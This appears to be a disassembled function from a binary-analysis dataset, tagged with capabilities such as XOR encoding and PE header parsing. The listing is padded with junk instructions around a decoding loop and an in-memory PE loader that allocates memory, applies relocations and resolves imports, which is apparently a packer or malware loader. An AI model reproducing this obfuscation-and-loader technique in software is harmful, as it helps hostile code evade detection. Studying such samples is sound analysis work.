Function at 0x40f000
Capabilities:
Authenticate hmac
Encode data using xor
Parse pe header

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x5013c
call fcn.004018c0
lea ebp, [esp + 0x1b3c]
push 0x4e600
push 0x414502
push ebp
call fcn.00402430
add esp, 0xc
dec eax
not edi
imul edx
sbb eax, 0x81
dec eax
bswap edi
sbb eax, 0x25
not esi
and esi, 0x9b
imul eax
or edi, 0x52
or esi, 0x4c
ror edx, 0xe6
ror edi, 2
rcr esi, 0x8e
rcr edi, 0xd5
or esi, 0xbc
inc edi
ror ebx, 0x83
dec edi
bswap eax
rol edi, 0xc7
not esi
and esi, 0x20
bswap edx
add eax, 0xb8
not edx
imul edi
inc esi
neg ebx
or esi, 0xe
inc edi
and edi, 0xaa
add edx, 0x11
rcl esi, 0x50
rcr eax, 0x8d
imul edx
ror eax, 0xc1
not esi
dec esi
rcl edx, 0x9a
and eax, 0x5d
not edx
sbb ebx, 7
neg ebx
inc eax
bswap esi
mov esi, 0xb4
rcl edx, 0x70
sub edx, 0xc7
imul edi
not esi
not edi
mov edx, 0x37
rol eax, 0x3b
neg eax
add ebx, 0x8e
neg edi
or eax, 0xdf
inc esi
not ebx
ror eax, 0x73
neg eax
and ebx, 0x7e
and eax, 0xa5
neg edi
not esi
or ebx, 0xaf
neg ebx
or esi, 0x50
inc eax
ror esi, 0x68
bswap edx
not edi
inc esi
bswap edx
sub edx, 0xa1
not esi
add edx, 0xb
sbb eax, 0xe
imul edx
bswap esi
not ebx
imul edx
sbb edx, 0x3e
bswap edx
rcr ebx, 0x9d
rcr edx, 0x47
not eax
bswap edi
ror edx, 0xe
mov edx, 0x30
sbb edx, 0x70
sbb edi, 0xb6
neg edi
rcl eax, 0x84
bswap edx
neg ebx
sub esi, 0x41
rcr edi, 0xd3
sub esi, 0x2b
imul edi
and esi, 0x3b
dec ebx
ror ebx, 0x31
imul ebx
neg eax
inc eax
mov eax, 0xd1
bswap eax
dec esi
not edi
bswap eax
not esi
bswap esi
bswap edx
rcl edi, 0x7d
bswap esi
sub edx, 0x36
sub ebx, 0x76
not ebx
inc esi
not eax
rcl ebx, 0xb8
bswap edi
or esi, 0xd3
add eax, 0x1b
dec eax
sub esi, 0xbb
neg edx
or edi, 0x5c
dec edx
neg esi
bswap edx
neg eax
sub eax, 0xc7
or ebx, 0xf
ror edx, 0x96
sbb esi, 0xeb
rol ebx, 0x8c
ror edx, 0x56
sub edi, 0x50
mov eax, 0x5d
sbb esi, 0xe1
not eax
bswap edi
rcr edi, 0x72
imul eax
rcl edi, 0x84
imul ebx
or edi, 0xe9
bswap ebx
imul edx
or esi, 0x35
sub edi, 0x87
not edi
neg eax
rcl edx, 0x89
inc edx
dec eax
sub esi, 0xb4
not eax
mov edx, 0x4d
imul eax
imul edi
neg ebx
neg ebx
or ebx, 0xec
or esi, 0x19
imul eax
rcr edi, 0xec
rcr esi, 0xf8
neg eax
ror eax, 0x39
not eax
not esi
rcl edx, 0xbb
rcl ebx, 0x73
sub esi, 0x14
not edi
bswap edx
inc eax
rol edx, 0x89
dec eax
bswap eax
or eax, 0x4d
mov eax, 0x12
inc esi
inc esi
bswap edx
neg esi
or edi, 0x48
or esi, 0xe5
dec ebx
not eax
or ebx, 0x47
rol edi, 0xbe
neg edi
mov eax, 0x81
imul edx
mov dword [esp + 0xb0], 0x4e600
mov dword [esp + 0x38], ebp
mov esi, ebx
mov ebx, ebx
mov esi, eax
xor esi, esi
xor esi, eax
xor esi, eax
xor eax, ebx
mov esi, eax
xor eax, eax
inc edx
rol edx, 0xf9
bswap ebx
ror edi, 0x69
neg edx
rcl edi, 0x23
imul edi
not eax
imul eax
rcr eax, 0xce
rcr edi, 0x63
inc ebx
sub ebx, 0xe0
mov edi, 0x94
or eax, 0x61
rol esi, 2
ror ebx, 0x4c
rcl edi, 5
imul esi
rcr edx, 0xfd
bswap ebx
add edi, 0xe8
rcl eax, 0x24
not edi
add edi, 0x2c
add edx, 0x6d
inc ebx
bswap eax
inc edx
imul esi
and edi, 0x91
or esi, 1
sbb eax, 0xa
imul edx
neg edx
imul edx
imul edi
neg eax
inc eax
imul edi
rcl eax, 0x15
neg eax
and ebx, 0x92
neg edi
dec ebx
mov ebx, 0x27
neg ebx
dec esi
dec edi
rcl esi, 0xfd
xor ecx, ecx
xor edi, edi
mov ebx, eax
mov esi, eax
mov ebx, esi
xor eax, ebx
mov eax, eax
mov eax, ebx
rcl ebx, 0xad
dec esi
and edx, 0x93
bswap esi
rol eax, 0x6a
rol edi, 0xb6
inc edx
rcl ebx, 0x1d
bswap edx
ror esi, 0x2c
sub ebx, 0x38
bswap edx
neg edx
neg esi
sub edi, 4
bswap edi
imul eax
mov eax, 0xbb
rol eax, 0x55
imul esi
rcl edx, 0x34
dec edx
rcr edi, 0xc5
or esi, 0x18
and eax, 0x66
or edx, 6
bswap ebx
neg ebx
neg esi
and edi, 0x8a
add ebx, 0xc4
imul ebx
dec esi
rcl ebx, 0x75
rcl eax, 0x40
bswap ebx
ror edi, 0x71
dec eax
rcl ebx, 0xaf
sub edx, 0x60
imul ebx
rcl esi, 0xd5
rcl edx, 0x1a
dec esi
not esi
sub edx, 0xce
inc edi
or edx, 0x3c
bswap edi
not edi
xor eax, esi
mov eax, ebx
xor esi, ebx
mov esi, eax
mov ebx, eax
mov esi, ebx
mov ebx, ebx
mov esi, eax
xor esi, eax
mov ecx, dword [esp + 0xb0]
add esi, 0xc
not edi
bswap eax
rol edi, 0xa6
or ebx, 0xc5
not edx
inc edx
bswap ebx
neg eax
not edx
add ebx, 0x29
dec ebx
add eax, 0xb5
not edx
sbb ebx, 0x99
dec ebx
inc eax
neg edx
rol ebx, 0x87
bswap edx
inc eax
rol edx, 0xcc
bswap edx
mov edi, 0x1c
sbb esi, 0x18
sbb ebx, 0x2e
and edi, 0x6a
imul ebx
bswap eax
and edx, 0xd1
mov eax, 0x67
imul edx
not eax
not edx
imul edi
imul esi
inc eax
dec eax
inc ebx
bswap edx
dec eax
and ebx, 0x53
neg edx
not esi
rol ebx, 0xe
dec ebx
or eax, 0xa8
neg esi
rol esi, 0x5a
sub eax, 0xd4
mov edi, dword [esp + 0x38]
xor eax, esi
xor esi, eax
mov eax, eax
xor eax, esi
mov eax, ebx
mov esi, ebx
xor eax, ebx
xor eax, ebx
xor ebx, eax
not byte [edi]
xor esi, esi
xor ebx, eax
xor eax, ebx
mov esi, esi
xor esi, ebx
mov eax, esi
xor eax, eax
xor ebx, eax
mov eax, ebx
xor ebx, eax
mov eax, ebx
mov esi, eax
sub byte [edi], 0xa
add byte [edi], 0x6f
xor eax, ebx
xor ebx, eax
mov esi, esi
mov ebx, ebx
xor ebx, eax
xor eax, eax
mov ebx, eax
xor eax, esi
xor ebx, eax
imul byte [edi]
inc edi
loop 0x40f427
neg edi
sub edi, 0xf9
rcl edx, 0xbc
and ebx, 0x3d
rcr eax, 0xa4
rcr esi, 0xc9
and ebx, 0x62
ror edi, 0x3f
neg ebx
mov esi, 0x4b
or esi, 0x73
imul edi
bswap esi
rcr ebx, 0xec
ror ebx, 0x3a
and eax, 0x13
or edi, 0xb7
ror eax, 0x7d
dec edx
rcr edx, 0xd0
bswap eax
rcr edi, 0x2d
add edx, 0xf4
neg esi
rcl ebx, 0xde
sbb ebx, 0xf9
not esi
rol edx, 0xea
rol ebx, 0xc0
not ebx
bswap esi
sbb ebx, 0xa9
dec esi
rcl ebx, 0x9e
rol eax, 0x60
dec esi
dec edi
not eax
inc edi
neg edi
sub eax, 0x50
not eax
add edx, 0x8a
not edi
neg ebx
sbb edi, 0x67
not eax
sbb edi, 0x9c
and esi, 0x1e
inc edi
mov edx, dword [esp + 0x1b78]
mov eax, 1
cmp dword [edx + ebp], 0x4550
jne 0x4116ba
mov ecx, edx
add ecx, ebp
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0x50]
mov dword [esp + 4], ecx
mov ecx, dword [ecx + 0xa4]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
test ecx, ecx
je 0x40f54c
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
jmp 0x40f571
push 4
push 0x3000
push eax
mov edi, dword [esp + 0x10]
push dword [edi + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, 2
cmp dword [edi + 0x34], ecx
jne 0x4116ba
mov dword [esp], ecx
not edi
neg esi
sub ebx, 0xed
neg esi
imul esi
rcr ebx, 0x99
mov edi, 0xc6
imul ebx
or edx, 1
sbb edx, 0x3c
rol esi, 0xc6
sub edi, 0xa4
inc esi
rcr ebx, 0xf1
neg eax
rol ebx, 0x69
add edx, 0xfe
rcl edi, 0x4a
rcr edx, 0x96
add eax, 0x7b
sub edx, 0xb4
bswap eax
ror edx, 0xd2
dec eax
inc edx
neg ebx
add esi, 0x80
imul esi
ror edx, 0x1b
neg edi
dec edx
neg edi
imul edx
neg eax
neg edx
sbb edi, 0x9f
not edx
add eax, 0xf2
or edi, 0xa1
neg esi
and esi, 0xe8
inc edi
imul ebx
add ebx, 0xd6
or eax, 0x61
dec esi
not esi
sub esi, 0xf1
rcl ebx, 0xd9
rcr eax, 0x7c
push 0x400
push ebp
push ecx
call fcn.00402430
add esp, 0xc
and edx, 0x13
and edi, 0xa2
rol edi, 0x2f
sub esi, 0x50
and esi, 0xce
sbb ebx, 0x9b
and esi, 0xe9
bswap edx
mov edx, 0xce
add eax, 0x8c
mov esi, 0x41
imul edx
bswap edx
neg ebx
sbb ebx, 0x3a
neg esi
inc edx
rcl esi, 0xf4
bswap eax
inc esi
imul esi
sbb edi, 0x40
dec ebx
rol edx, 0x94
sbb esi, 0x9a
dec eax
not esi
dec edi
rcl ebx, 0x97
neg edi
rcl edi, 0xfb
sbb ebx, 0xf6
rcr edx, 0x54
not eax
sbb eax, 0xcc
sub esi, 0x2b
or esi, 0xc6
mov esi, 0x8d
rcl eax, 0x1d
neg edi
add edi, 0x47
ror ebx, 0x1d
bswap edx
bswap edx
neg ebx
imul ebx
add edi, 0x6c
imul esi
inc edi
neg esi
sub ebx, 0x83
inc eax
rcr eax, 0xac
bswap edi
or edi, 0x97
mov esi, 0xa
neg eax
rcl ebx, 0x72
not eax
rcl esi, 0x54
sbb edi, 0x82
rol ebx, 0x8a
sub edx, 0x79
rcl edx, 0x35
ror eax, 0x37
inc eax
not eax
rol esi, 0xe2
or edi, 5
neg esi
inc edi
dec edi
rol edi, 0xd2
rol eax, 0xcf
sbb ebx, 0xc5
bswap edi
add edi, 0x43
inc esi
dec ebx
dec ebx
mov esi, 0xa3
rcl eax, 0x6d
inc esi
rol edx, 0x32
dec esi
inc eax
rcr ebx, 0xd9
neg esi
sbb esi, 0x7f
bswap ebx
neg edi
inc esi
or eax, 0xb1
neg esi
rol eax, 0xee
ror edi, 0xcb
neg ebx
not edi
sbb ebx, 0xaa
rcl esi, 0xbe
rol esi, 0x88
neg esi
not esi
bswap eax
imul edi
inc esi
dec esi
dec edx
and edx, 0x13
rcr edx, 0x61
add edx, 0xe0
neg eax
rcr esi, 0x89
imul eax
and edi, 0x40
imul eax
neg esi
sbb edi, 0x82
inc esi
imul edi
or esi, 0x92
imul edx
mov edx, 0x32
add esi, 0x24
sbb ebx, 0x54
sub esi, 0x7b
dec edx
bswap eax
inc ebx
and esi, 9
sbb eax, 0x14
neg edi
sbb esi, 0x88
and esi, 0x50
and esi, 0xd2
dec ebx
imul esi
rcl esi, 0x45
not ebx
ror eax, 0xb3
bswap esi
rcr eax, 0xcc
rcl esi, 0xe4
sub ebx, 0xc5
rcr esi, 0x64
rol ebx, 0xfc
add edi, 0x98
rcl edx, 0x73
not esi
bswap ebx
ror ebx, 0xaf
rcr ebx, 0x1a
rol eax, 0xd3
imul ebx
dec esi
inc ebx
inc edi
sub esi, 0xce
add esi, 0xc9
ror esi, 0x27
bswap ebx
rcr eax, 0xcf
bswap edx
inc esi
mov ebx, 3
or edi, 0x28
neg eax
mov edi, 0xec
not eax
rol eax, 0x5c
sbb ebx, 0x5b
imul eax
neg edi
imul edx
and eax, 0xaf
rcr eax, 0x86
dec edi
imul ebx
neg eax
not edx
inc eax
not edi
rcl esi, 0x7e
neg eax
ror edi, 0x1f
inc eax
add esi, 0x36
bswap edx
imul edx
imul edi
imul edi
rcr edi, 0xde
rcl esi, 0x4c
bswap edx
rol edx, 0x24
not eax
inc esi
mov edx, 0xfb
imul edx
inc edx
not ebx
neg esi
not esi
sub edx, 0x26
imul esi
inc ebx
not eax
rol eax, 0x71
ror edi, 0x5e
dec eax
rcr eax, 0xec
dec edi
imul esi
rcr edx, 0x9d
mov edx, 0x20
ror edx, 0x49
rcl edi, 0x17
bswap edx
ror ebx, 0x35
rcl eax, 0x49
add edx, 0xcc
imul edi
rcr edi, 3
not edi
dec edi
or ebx, 0xfd
sbb edx, 0xf5
and ebx, 0x8d
rol edi, 0x43
sbb edx, 0x5b
rol ebx, 0x13
imul edx
dec esi
neg eax
or edx, 0xa1
imul eax
rol esi, 0x18
imul edx
inc ebx
bswap esi
or esi, 0x50
inc esi
neg esi
neg eax
or eax, 0x53
rcl edi, 0x12
neg esi
neg esi
bswap esi
add edx, 0x9c
mov ecx, dword [esp + 4]
mov ebx, dword [esp]
movzx eax, word [ecx + 0x14]
cmp word [ecx + 6], 0
lea eax, [ecx + eax + 0x18]
mov dword [esp + 0x10], eax
je 0x40f926
mov eax, dword [esp + 0x10]
xor edi, edi
lea esi, [eax + 0x14]
nop word cs:[eax + eax]
mov eax, dword [esi - 8]
mov ecx, dword [esi]
add eax, ebx
add ecx, ebp
push dword [esi - 4]
push ecx
push eax
call fcn.00402430
add esp, 0xc
mov eax, dword [esp + 4]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jb 0x40f900
rol eax, 0xe9
imul edx
neg eax
mov eax, 0x72
dec ebx
and edi, 0xc1
ror esi, 0x99
inc esi
bswap edi
rol esi, 0x5e
imul esi
dec ebx
bswap esi
dec eax
dec esi
inc edi
inc esi
sub edi, 0xb3
rcr eax, 0xe2
rcr ebx, 0x4e
rcl eax, 0xe
bswap ebx
mov edx, 0x52
and edx, 0xf9
not edi
not esi
inc eax
rcl ebx, 0x77
rol edx, 0xf
rcl ebx, 0xa1
add eax, 0x53
rol edi, 0xcd
rcl edx, 0xd9
ror esi, 0x90
bswap edi
not esi
neg esi
rol eax, 0x65
not edx
rcl edi, 0x77
bswap eax
rcr edi, 0x98
ror edi, 0xd
and eax, 2
rcr edx, 0x69
bswap esi
mov eax, 0x93
neg edx
rcr esi, 0x96
and eax, 0xef
mov ebx, dword [esp]
mov ecx, dword [esp + 4]
mov ebp, dword [esp + 8]
mov eax, ebx
sub eax, dword [ecx + 0x34]
je 0x40fb18
cmp dword [esp + 0xc], 0
je 0x40fb18
add ebp, ebx
xor ecx, ecx
jmp 0x40f9f2
mov ecx, dword [esp + 0x14]
add ecx, edi
mov ebp, edx
cmp ecx, dword [esp + 0xc]
jae 0x40fb18
mov edi, dword [ebp + 4]
lea edx, [ebp + 8]
mov dword [esp + 0x14], ecx
lea esi, [edi - 8]
cmp esi, 2
jb 0x40f9e0
mov edi, dword [ebp]
shr esi, 1
mov dword [esp + 8], ebp
lea ecx, [esi - 1]
add edi, ebx
cmp ecx, 7
mov ecx, dword [esp + 0x14]
jae 0x40fa50
and esi, 7
jne 0x40fa36
mov esi, dword [esp + 8]
mov ebx, dword [esp]
mov edi, dword [esi + 4]
jmp 0x40f9e4
add edx, 2
dec esi
je 0x40fa20
movzx ebx, word [edx]
test ebx, 0x3000
je 0x40fa30
and ebx, 0xfff
add dword [edi + ebx], eax
jmp 0x40fa30
mov ebx, esi
and ebx, 0xfffffff8
jmp 0x40fa68
add edx, 0x10
add ebx, 0xfffffff8
je 0x40fa1b
movzx ebp, word [edx]
test ebp, 0x3000
je 0x40fa7c
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 2]
test ebp, 0x3000
je 0x40fa91
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 4]
test ebp, 0x3000
je 0x40faa6
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 6]
test ebp, 0x3000
je 0x40fabb
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 8]
test ebp, 0x3000
je 0x40fad0
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xa]
test ebp, 0x3000
je 0x40fae5
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xc]
test ebp, 0x3000
je 0x40fafa
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xe]
test ebp, 0x3000
je 0x40fa60
and ebp, 0xfff
add dword [edi + ebp], eax
jmp 0x40fa60
bswap esi
rcl edi, 0x60
rcl esi, 0xd4
not eax
not ebx
neg esi
add edx, 0xa4
rcl edx, 0x10
and edi, 0x58
or edx, 0xf3
or edi, 0x11
bswap edx
dec eax
dec esi
rcr ebx, 0xfe
imul edx
or edi, 0xa0
neg edi
not edx
dec edi
imul edx
rcr esi, 0x2c
add edi, 0x8b
rcl esi, 0x28
ror edi, 0x10
mov esi, 0x29
or edx, 0x82
imul edi
neg esi
or ebx, 0x6b
inc edi
inc edi
imul edi
neg eax
neg esi
bswap esi
rol edx, 0x63
ror edi, 0xd0
sub edi, 0x72
bswap esi
imul edx
sub edi, 0xe5
rcr esi, 0x39
not edi
or esi, 0x2a
dec edx
or edi, 0xce
dec ebx
bswap edx
not ebx
or ebx, 0x30
or eax, 0x39
rcr edi, 0x44
ror eax, 0xb
dec edi
not edi
inc eax
dec edi
bswap ebx
sub ebx, 0xaf
dec ebx
rol edx, 0x2a
dec esi
inc esi
bswap edx
dec edx
dec esi
not eax
not esi
bswap edi
rcl eax, 0x60
rol edi, 0xcf
ror edi, 0x8a
ror esi, 0xe4
bswap ebx
rcr eax, 0x53
inc edx
bswap eax
and edi, 0x66
not edx
inc edx
neg esi
neg edi
imul edx
mov eax, 0xf4
neg edi
inc esi
bswap ebx
mov edx, 0x26
not edx
dec esi
bswap esi
dec eax
bswap eax
bswap edi
mov edi, 0x67
rol esi, 0x74
inc eax
rol eax, 0xd4
bswap esi
or eax, 0xf5
bswap edi
bswap esi
inc eax
rcl edx, 0x79
rol edx, 0x4b
inc esi
ror esi, 0x13
not edx
or esi, 0x41
add edi, 0x95
mov ebx, 0x12
add ebx, 0x29
mov edx, 0x63
sub ebx, 0x47
imul edx
rol eax, 0xa9
inc esi
rol eax, 0x2a
rcr ebx, 0x4a
not esi
sbb esi, 0xc2
not esi
or edx, 0xba
rcl edi, 0x5d
rcl ebx, 0x2f
sbb eax, 0x2c
not esi
rcl ebx, 0xcb
imul esi
sbb ebx, 0x48
mov edi, 0x2f
imul esi
add edi, 0xad
rol ebx, 0x7f
bswap eax
or esi, 0x68
neg edx
sub eax, 0xeb
or edi, 0xa2
sub ebx, 0x74
bswap esi
ror esi, 0xbc
or esi, 0xe5
sbb ebx, 0x54
mov esi, 0x32
bswap esi
ror esi, 0xaf
inc eax
rcl ebx, 0x17
mov eax, dword [esp + 4]
mov ecx, dword [esp]
mov edx, dword [eax + 0x80]
cmp dword [edx + ecx + 0x10], 0
je 0x40fd75
lea eax, [edx + ecx + 0x10]
add edx, ecx
xor esi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x14], eax
jmp 0x40fcfe
mov esi, dword [esp + 8]
mov edx, dword [esp + 0xc]
inc esi
lea eax, [esi + esi*4]
lea ecx, [edx + eax*4 + 0x10]
cmp dword [edx + eax*4 + 0x10], 0
mov dword [esp + 0x14], ecx
mov ecx, dword [esp]
je 0x40fd75
lea eax, [esi + esi*4]
mov dword [esp + 8], esi
mov eax, dword [edx + eax*4 + 0xc]
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40fce0
mov esi, eax
mov eax, dword [esp + 0x14]
mov ebx, dword [eax]
mov eax, dword [esp]
mov ebp, dword [ebx + eax]
test ebp, ebp
je 0x40fce0
mov edi, dword [esp]
add ebx, edi
add ebx, 4
jmp 0x40fd55
mov ecx, dword [esp + 0x14]
mov ecx, dword [ecx]
mov dword [edi + ecx], eax
add edi, 4
mov ebp, dword [ebx]
add ebx, 4
test ebp, ebp
je 0x40fce0
movzx eax, bp
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40fd40
mov eax, dword [esp]
lea eax, [ebp + eax + 2]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x40fd40
lea eax, [esp + 0xb0]
push 0x1a8c
push 0x462b02
push eax
call fcn.00402430
add esp, 0xc
vmovdqa ymm0, ymmword [0x414180]
mov eax, 0x20
nop dword [eax]
vpbroadcastb ymm3, byte [0x4144e0]
vpbroadcastb ymm2, byte [0x4144e1]
vpbroadcastb ymm1, byte [0x4144e2]
vpbroadcastb ymm7, byte [0x4144e3]
vpaddb ymm5, ymm3, ymmword [esp + eax + 0x90]
vmovdqa ymm3, ymm2
vpsrlw ymm6, ymm5, 7
vpaddb ymm5, ymm5, ymm5
vpand ymm6, ymm6, ymm2
vpbroadcastb ymm2, byte [0x4144e4]
vpor ymm5, ymm5, ymm6
vpsubb ymm5, ymm2, ymm5
vpxor xmm2, xmm2, xmm2
vpsrlw ymm6, ymm5, 5
vpsllw ymm5, ymm5, 3
vpandn ymm6, ymm1, ymm6
vpand ymm5, ymm5, ymm1
vpor ymm5, ymm5, ymm6
vpsubb ymm5, ymm2, ymm5
vpcmpeqd ymm2, ymm2, ymm2
vpsrlw ymm6, ymm5, 7
vpaddb ymm5, ymm5, ymm5
vpand ymm6, ymm6, ymm3
vpbroadcastb ymm3, byte [0x4144e5]
vpor ymm5, ymm5, ymm6
vpsllw ymm6, ymm0, 2
vpaddb ymm5, ymm5, ymm0
vpxor ymm5, ymm5, ymm2
vpbroadcastb ymm2, byte [0x4144e6]
vpand ymm6, ymm6, ymm3
vpsubb ymm5, ymm5, ymm6
vpsrlw ymm6, ymm5, 2
vpsllw ymm5, ymm5, 6
vpandn ymm6, ymm7, ymm6
vpand ymm5, ymm5, ymm7
vpor ymm5, ymm5, ymm6
vpaddb ymm6, ymm5, ymm2
vpbroadcastb ymm2, byte [0x4144e7]
vpsllw ymm5, ymm5, 5
vpsrlw ymm6, ymm6, 3
vpand ymm5, ymm5, ymm2
vpandn ymm6, ymm2, ymm6
vmovdqa ymm4, ymm2
vpbroadcastb ymm2, byte [0x4144e8]
vpor ymm5, ymm5, ymm6
vpsubb ymm5, ymm2, ymm5
vpbroadcastb ymm2, byte [0x4144e9]
vpsrlw ymm6, ymm5, 6
vpsllw ymm5, ymm5, 2
vpandn ymm6, ymm3, ymm6
vpand ymm5, ymm5, ymm3
vpor ymm5, ymm5, ymm6
vpaddb ymm6, ymm0, ymm4
vpbroadcastb ymm4, byte [0x4144ea]
vpaddb ymm5, ymm6, ymm5
vpsrlw ymm6, ymm5, 1
vpsllw ymm5, ymm5, 7
vpandn ymm6, ymm4, ymm6
vpand ymm5, ymm5, ymm4
vpor ymm5, ymm5, ymm6
vpaddb ymm5, ymm5, ymm2
vpbroadcastb ymm2, byte [0x4144eb]
vpsrlw ymm6, ymm5, 1
vpsllw ymm5, ymm5, 7
vpandn ymm6, ymm4, ymm6
vpand ymm5, ymm5, ymm4
vmovdqa ymm4, ymm1
vpor ymm5, ymm5, ymm6
vpaddb ymm5, ymm5, ymm2
vpbroadcastb ymm2, byte [0x4144ec]
vpsrlw ymm6, ymm5, 5
vpsllw ymm5, ymm5, 3
vpandn ymm6, ymm1, ymm6
vpand ymm5, ymm5, ymm1
vpor ymm5, ymm5, ymm6
vpsubb ymm5, ymm2, ymm5
vpbroadcastb ymm2, byte [0x4144ed]
vpsrlw ymm6, ymm5, 5
vpsllw ymm5, ymm5, 3
vpandn ymm6, ymm1, ymm6
vpand ymm5, ymm5, ymm1
vmovdqa ymm1, ymm7
vpor ymm5, ymm5, ymm6
vpaddb ymm5, ymm5, ymm0
vpsrlw ymm6, ymm5, 2
vpsllw ymm5, ymm5, 6
vpandn ymm6, ymm7, ymm6
vpand ymm5, ymm5, ymm7
vpor ymm5, ymm5, ymm6
vpaddb ymm5, ymm5, ymm0
vpsrlw ymm6, ymm5, 2
vpsllw ymm5, ymm5, 6
vpandn ymm6, ymm7, ymm6
vpand ymm5, ymm5, ymm7
vmovdqa ymm7, ymm3
vpor ymm5, ymm5, ymm6
vpaddb ymm5, ymm5, ymm0
vpsubb ymm5, ymm2, ymm5
vpsrlw ymm6, ymm5, 6
vpsllw ymm5, ymm5, 2
vpandn ymm6, ymm3, ymm6
vpand ymm5, ymm5, ymm3
vpor ymm5, ymm5, ymm6
vpxor ymm5, ymm5, ymmword [0x4144c0]
vpaddb ymm5, ymm0, ymm5
vpaddb ymm5, ymm5, ymmword [0x414220]
vpsrlw ymm6, ymm5, 6
vpsllw ymm5, ymm5, 2
vpandn ymm6, ymm3, ymm6
vpand ymm5, ymm5, ymm3
vpxor xmm3, xmm3, xmm3
vpor ymm5, ymm5, ymm6
vpsubb ymm5, ymm5, ymm0
vpsrlw ymm6, ymm5, 2
vpsllw ymm5, ymm5, 6
vpandn ymm6, ymm1, ymm6
vpand ymm5, ymm5, ymm1
vpor ymm5, ymm5, ymm6
vpaddb ymm5, ymm5, ymm0
vpsubb ymm5, ymm3, ymm5
vpsrlw ymm6, ymm5, 2
vpsllw ymm5, ymm5, 6
vpandn ymm6, ymm1, ymm6
vpand ymm5, ymm5, ymm1
vpbroadcastb ymm1, byte [0x4144e7]
vpor ymm6, ymm5, ymm6
vpaddb ymm5, ymm0, ymm0
vpsubb ymm2, ymm0, ymm5
vpaddb ymm2, ymm2, ymm6
vpaddb ymm2, ymm2, ymmword [0x414240]
vpsrlw ymm6, ymm2, 7
vpand ymm6, ymm6, ymmword [0x4141a0]
vpaddb ymm2, ymm2, ymm2
vpor ymm2, ymm2, ymm6
vpaddb ymm2, ymm0, ymm2
vpaddb ymm2, ymm2, ymmword [0x414260]
vpsrlw ymm6, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm6, ymm4, ymm6
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm6
vpbroadcastb ymm6, byte [0x4144ee]
vpsubb ymm2, ymm0, ymm2
vpaddb ymm2, ymm2, ymm6
vpsrlw ymm6, ymm2, 6
vpsllw ymm2, ymm2, 2
vpandn ymm6, ymm7, ymm6
vpand ymm2, ymm2, ymm7
vpor ymm2, ymm2, ymm6
vpbroadcastb ymm6, byte [0x4144ef]
vpaddb ymm2, ymm2, ymm6
vpsrlw ymm6, ymm2, 3
vpsllw ymm2, ymm2, 5
vpandn ymm6, ymm1, ymm6
vpand ymm2, ymm2, ymm1
vpor ymm2, ymm2, ymm6
vpxor xmm6, xmm6, xmm6
vpsubb ymm2, ymm2, ymm5
vpbroadcastb ymm5, byte [0x4144f0]
vpaddb ymm2, ymm2, ymm5
vpsrlw ymm5, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm5, ymm4, ymm5
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm5
vpsubb ymm2, ymm3, ymm2
vpsrlw ymm5, ymm2, 3
vpsllw ymm2, ymm2, 5
vpandn ymm5, ymm1, ymm5
vpand ymm2, ymm2, ymm1
vpaddb ymm1, ymm0, ymmword [str.CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC________________________________]
vpor ymm2, ymm2, ymm5
vpbroadcastb ymm5, byte [0x4144f1]
vmovdqu ymmword [esp + 0x14], ymm1
vpsubb ymm2, ymm5, ymm2
vpsrlw ymm5, ymm2, 6
vpsllw ymm2, ymm2, 2
vpandn ymm5, ymm7, ymm5
vpand ymm2, ymm2, ymm7
vpor ymm2, ymm2, ymm5
vpbroadcastb ymm5, byte [0x4144f2]
vpaddb ymm2, ymm2, ymm5
vpsrlw ymm5, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm5, ymm4, ymm5
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm5
vpaddb ymm2, ymm1, ymm2
vpbroadcastb ymm1, byte [0x4144e3]
vpsrlw ymm5, ymm2, 6
vpsllw ymm2, ymm2, 2
vpandn ymm5, ymm7, ymm5
vpand ymm2, ymm2, ymm7
vpor ymm2, ymm2, ymm5
vpsubb ymm2, ymm2, ymm0
vpsrlw ymm5, ymm2, 2
vpsllw ymm2, ymm2, 6
vpandn ymm5, ymm1, ymm5
vpand ymm2, ymm2, ymm1
vpbroadcastb ymm1, byte [0x4144e1]
vpor ymm2, ymm2, ymm5
vpsubb ymm2, ymm1, ymm2
vpsrlw ymm5, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm5, ymm4, ymm5
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm5
vpaddb ymm2, ymm2, ymm0
vpsubb ymm2, ymm3, ymm2
vpsrlw ymm5, ymm2, 5
vpsllw ymm2, ymm2, 3
vpandn ymm5, ymm4, ymm5
vpand ymm2, ymm2, ymm4
vpor ymm2, ymm2, ymm5
vpbroadcastb ymm5, byte [0x4144f3]
vpaddb ymm2, ymm2, ymm0
vpsubb ymm2, ymm5, ymm2
vpsrlw ymm5, ymm2, 7
vpaddb ymm2, ymm2, ymm2
vpand ymm5, ymm5, ymm1
vpor ymm2, ymm2, ymm5
vpbroadcastb ymm5, byte [0x4144f4]
vpsubb ymm2, ymm5, ymm2
vpaddb ymm5, ymm0, ymmword [0x414340]
vmovdqu ymmword [esp + eax + 0x90], ymm2
